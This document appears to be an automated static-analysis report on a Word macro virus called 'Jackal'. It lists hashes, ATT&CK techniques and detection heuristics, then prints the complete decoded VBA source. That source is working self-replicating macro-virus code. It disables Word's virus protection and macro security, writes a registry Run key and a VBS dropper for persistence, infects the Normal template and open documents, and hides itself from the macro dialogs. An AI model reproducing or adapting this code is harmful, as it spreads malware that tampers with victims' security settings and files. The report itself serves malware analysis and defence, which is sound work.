Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 e1c2ab734e57a5e7…

MALICIOUS

Office (OLE)

32.0 KB Created: 2000-08-01 21:16:00 Authoring application: Microsoft Word 9.0 First seen: 2012-06-14
MD5: 3ba34c7fb97664a00996f5be94e1e5fa SHA-1: 22e288b2f0c2524ce9d23b6e08011b546e024f47 SHA-256: e1c2ab734e57a5e76c9a0068a21dcc571312e6f198f0503504b709435acb825c
288 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1547.001 Registry Run Keys / Startup Folder T1105 Ingress Tool Transfer

The sample contains a VBA macro with an Auto_Close subroutine that executes when the document is closed. This macro attempts to drop a VBScript named 'Jackal.vbs' to 'C:\Windows\System\Jackal.vbs' and creates a registry Run key 'HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run\Jackal' to establish persistence. The macro also attempts to export itself to 'C:\Windows\Jackal.drv'. The ClamAV detection 'Win.Trojan.Fool-2' further supports its malicious nature.

Heuristics 6

  • ClamAV: Win.Trojan.Fool-2 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Win.Trojan.Fool-2
  • VBA macros detected medium 3 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • VBA macro-virus self-replication / AV tampering critical OLE_VBA_MACRO_VIRUS_REPLICATION
    VBA macro programmatically rewrites VBA project code through the VBE object model (CodeModule/VBComponents InsertLines/DeleteLines/AddFromString or OrganizerCopy) to copy itself into the global template and other open documents, and/or disables Office macro-virus protection (Options.VirusProtection = False). This is the defining behavior of the W97M document macro-virus family — self-replicating code with no benign document use, independent of any AV signature.
    Matched line in script
                .VirusProtection = False
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
    Matched line in script
             Print #1, "Set WordObj = CreateObject(""Word.Application"")"
  • Auto_Close macro low OLE_VBA_AUTOCLOSE
    Auto_Close macro
    Matched line in script
    Sub AutoClose()
  • Legacy WordBasic macro-virus markers high OLE_LEGACY_WORDBASIC_MACRO_VIRUS
    OLE Word document contains legacy WordBasic auto-execution macro markers such as AutoOpen plus ToolsMacro/MacroFile/fileMacro/globMacro or named historical macro-virus strings. These old Word 6/95 macro forms are not exposed as a modern VBA project, so normal VBA source extraction can miss them.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 4054 bytes
SHA-256: 865bf84e234be261714099216febb446a608d835d1437ac0055679d4f4d3e19b
Detection
ClamAV: Doc.Trojan.Fool-6
Obfuscation or payload: unlikely
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True

Attribute VB_Name = "Jackal"

' Jackal v1.00 by WalruS 08/00
Private Declare Function mciSendString Lib "winmm.dll" Alias "mciSendStringA" (ByVal lpstrCommand As String, ByVal lpstrReturnString As String, ByVal uReturnLength As Long, ByVal hwndCallback As Long) As Long
Sub AutoClose()
    On Error Resume Next
        With Options
            .VirusProtection = False
            .ConfirmConversions = False
            .SaveNormalPrompt = False
        End With
    Application.DisplayAlerts = wdAlertsNone
    CommandBars("Macro").Controls("Security...").Enabled = False
    System.PrivateProfileString("", "HKEY_CURRENT_USER\Software\Microsoft\Office\9.0\Word\Security", "Level") = 1&
    ActiveDocument.ReadOnlyRecommended = False
    System.PrivateProfileString("", "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion", "RegisteredOwner") = "The WalruS"
    If NormalTemplate.VBProject.VBComponents.Item("Jackal").Name <> "Jackal" Then
    ActiveDocument.VBProject.VBComponents("Jackal").Export ("C:\Windows\Jackal.drv")
    SetAttr "C:\Windows\Jackal.drv", 6
    End If
    Call DropJackal
    Call InfectDocument
    If Month(Now) = Day(Now) Then Call PayLoad
    NormalTemplate.Saved = True
End Sub

Sub DropJackal()
    On Error Resume Next
    System.PrivateProfileString("", "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run", "Jackal") = "C:\Windows\System\Jackal.vbs"
     Open "C:\Windows\System\Jackal.vbs" For Output As #1
         Print #1, "On Error Resume Next"
         Print #1, "' Jackal.vbs by WalruS"
         Print #1, "Set WordObj = CreateObject(""Word.Application"")"
         Print #1, "WordObj.NormalTemplate.VBProject.VBComponents.remove WordObj.NormalTemplate.VBProject.VBComponents(""Jackal"")"
         Print #1, "WordObj.NormalTemplate.save"
         Print #1, "WordObj.NormalTemplate.VBProject.VBComponents.import (""C:\Windows\Jackal.drv"")"
         Print #1, "WordObj.NormalTemplate.save"
         Print #1, "WordObj.Quit"
    Close #1
End Sub

Sub InfectDocument()
    On Error Resume Next
    If ActiveDocument.VBProject.VBComponents.Item("Jackal").Name <> "Jackal" Then
    ActiveDocument.VBProject.VBComponents.import ("C:\Windows\Jackal.drv")
    ActiveDocument.Save
    End If
End Sub

Sub PayLoad()
    On Error Resume Next
    StatusBar = "    Hello there id like you to meet the Jackal virus !!!"
    Application.Caption = "Jackal"
    Application.Username = "The WalruS"
    Do
    mciSendString "set cd door open", 0, 0, 0: mciSendString "set cd door closed", 0, 0, 0: mciSendString "set cd time format tmsf wait", 0, 0, 0: mciSendString "open cdaudio alias cd wait shareable", 0, 0, 0
    Loop
End Sub

' Designed to be Stealthy    ;-)

Sub ToolsOptions()
    On Error Resume Next
    Options.VirusProtection = 1
    Options.SaveNormalPrompt = 1
    Dialogs(wdDialogToolsOptions).Show
    Options.VirusProtection = 0
    Options.SaveNormalPrompt = 0
End Sub

Sub FileTemplates()
End Sub

Sub ToolsMacro()
    Call Stealth
    Dialogs(wdDialogToolsMacro).Display
End Sub

Sub ViewVBCode()
    Call Stealth
    ShowVisualBasicEditor = True
End Sub

Sub Stealth()
    On Error Resume Next
    ' Removes Macros from Normal Template and Active Document
    Application.OrganizerDelete Source:=NormalTemplate.Name, _
    Name:="Jackal", Object:=wdOrganizerObjectProjectItems
    Application.OrganizerDelete Source:=ActiveDocument.Name, _
    Name:="Jackal", Object:=wdOrganizerObjectProjectItems
    NormalTemplate.Saved = True
    ActiveDocument.Saved = True
End Sub

Sub HelpAbout()
    On Error Resume Next
    MsgBox "The Jackal Word Virus by WalruS", 0, "The Jackal"
    Call PayLoad
End Sub